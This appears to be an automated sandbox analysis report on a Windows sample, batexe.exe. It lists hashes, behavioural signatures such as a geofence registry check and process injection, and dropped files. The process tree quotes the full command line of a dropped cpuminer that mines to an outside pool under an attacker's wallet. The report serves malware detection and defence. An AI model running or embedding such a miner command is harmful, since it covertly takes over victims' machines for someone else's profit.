Analysis
-
max time kernel
293s -
max time network
297s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-ja -
resource tags
arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
24/02/2024, 02:30
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240221-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240221-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 4584 b2e.exe 5104 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 5104 cpuminer-sse2.exe 5104 cpuminer-sse2.exe 5104 cpuminer-sse2.exe 5104 cpuminer-sse2.exe 5104 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/1080-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1080 wrote to memory of 4584 1080 batexe.exe 89 PID 1080 wrote to memory of 4584 1080 batexe.exe 89 PID 1080 wrote to memory of 4584 1080 batexe.exe 89 PID 4584 wrote to memory of 2624 4584 b2e.exe 90 PID 4584 wrote to memory of 2624 4584 b2e.exe 90 PID 4584 wrote to memory of 2624 4584 b2e.exe 90 PID 2624 wrote to memory of 5104 2624 cmd.exe 93 PID 2624 wrote to memory of 5104 2624 cmd.exe 93
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Users\Admin\AppData\Local\Temp\60AE.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\60AE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\60AE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\64E4.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5104
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20.8MB
MD53656cdd24fe8d858dbea6ad35ed1aa4d
SHA138e617f43eaa351fc3d6b6d9c5e2de64cf1c349c
SHA256aaf591fe3cfb8a28f823823aa231110ed4cfe1148ff61bcc22b7bf1e447e1913
SHA5126b7b83702fb2d20f29e67af653b988cb2d6c1246858ede6870c4ed99f8f623405760f419f336bd19d325286003a630dd5f87b954e2080ad68e485f899e9df21d
-
Filesize
6.2MB
MD5cb3b91bd49e6c66264df58a457aee5b6
SHA149ac38634b6c37e933b4e4d2d5bb3a45d84f4831
SHA256673765df4ba9aa93519966cbc6191951a7bf7a7222ee3fb2b52c9d2d968dcd3b
SHA512c60398ed8d49b404a207f1033f5cee25107e8f4811ab7fc2569f0e4503013ad9683a2fb11844868281053e4d7036b5618926af81147d7678538969c9fabe7c7d
-
Filesize
1.5MB
MD57d14be94fb33362c9892d3916aff105a
SHA188cc3849f4ca89ca55ae3300fe8ea8fa572af333
SHA256e50c5c90cf07bb03e60c2d419fce016ef106f8f2a585cd3ed97d3e21d29ddda2
SHA51275a8bbedd44e83110d737af1e33cc2afdea3b59a024c2c164e3425b28525380abf2c9a33477476a84db14b57cd857d30ecec1fbedad481440c8ba7c30becc1ce
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
1.9MB
MD58866074112321282ac5b2de1bb28aa94
SHA1a365ace945abc5541060addaa6f606f140809ddc
SHA25667ae918b9b137330f401f9f6c1fac00e5e9af2222922cc21c97a36b0f175b198
SHA51296e1023f019efd97e5ce78046e2209ca327e260823f06e4a03cb18e6f56e12d6d3bac6d4cb32fa2d95d2153cd773ab689f02d0d4f4172e275c53eee5c59aae37
-
Filesize
1.7MB
MD530fb8573aeb382e4a26d67d665524fd5
SHA10843e97a461319571ebeeb414779d9094f9dc3d5
SHA256a7b4dc9035bd6e2d2c0a2c90edd3f9c14f8e833f443aa20d95d0589785f81102
SHA512f16fee3b4167912e68d0c25e3cbde54004ba148ed968170e1611bc2cf41f33d128277cab391d990ea406f382d613e507527258459fe330234ebd0783d38ad3cc
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
2.1MB
MD5e873971e7050b5726536cc219ad5cae9
SHA1ad67cfc9d2dd208a72d6b636726c490887a5402d
SHA256cd2702b120bcb8ffd5f592d06eaf6c2b01b9fca893f9f6b30b95b709e7aedc86
SHA5120f83cc77408cd811eb7c91e0201ff67c3b392ed88c362c8d9b77aae9ea68119de9f6f0dd19b7ccaaf61c038622852b3bbbcdb202cc30beb440cd01bb0fff2b3f
-
Filesize
2.0MB
MD5101218d0f72a9f04c06f50a7a4ab79f6
SHA18a7264e3e299c55e87993379a5dd4c14a0b7deee
SHA25677348c208c45cf6eb4aa8cf1d9f879d5d17c0ba6f67d1c2f7d384b61545bc4fb
SHA5121b2cd49b7c98eeea30c2ce2a4f3416153fcf7d82b1d753d6ff9aa6819e7974d5729c086713bb808863e57769d5cb8194ed35ff218a529e37ab2e2c8fbd54ee98
-
Filesize
2.0MB
MD5abfc66ece62dfce3f0461eec130be752
SHA10f27111e07fec92a51a77b567bbeae873abeb1c3
SHA2564ce37d384f5e5a8b8f14bd8c24fd2a37cd9223c0f1036ff73cc541ca1e6f2195
SHA51268d4791dfd50de15de58d66527643005c0ebfb79d8ba43bf4371f267fd21c31a8c9231a4d2c0e107556d68482031a84938e046267e245a18a2d4f5a8c00bf1ee
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770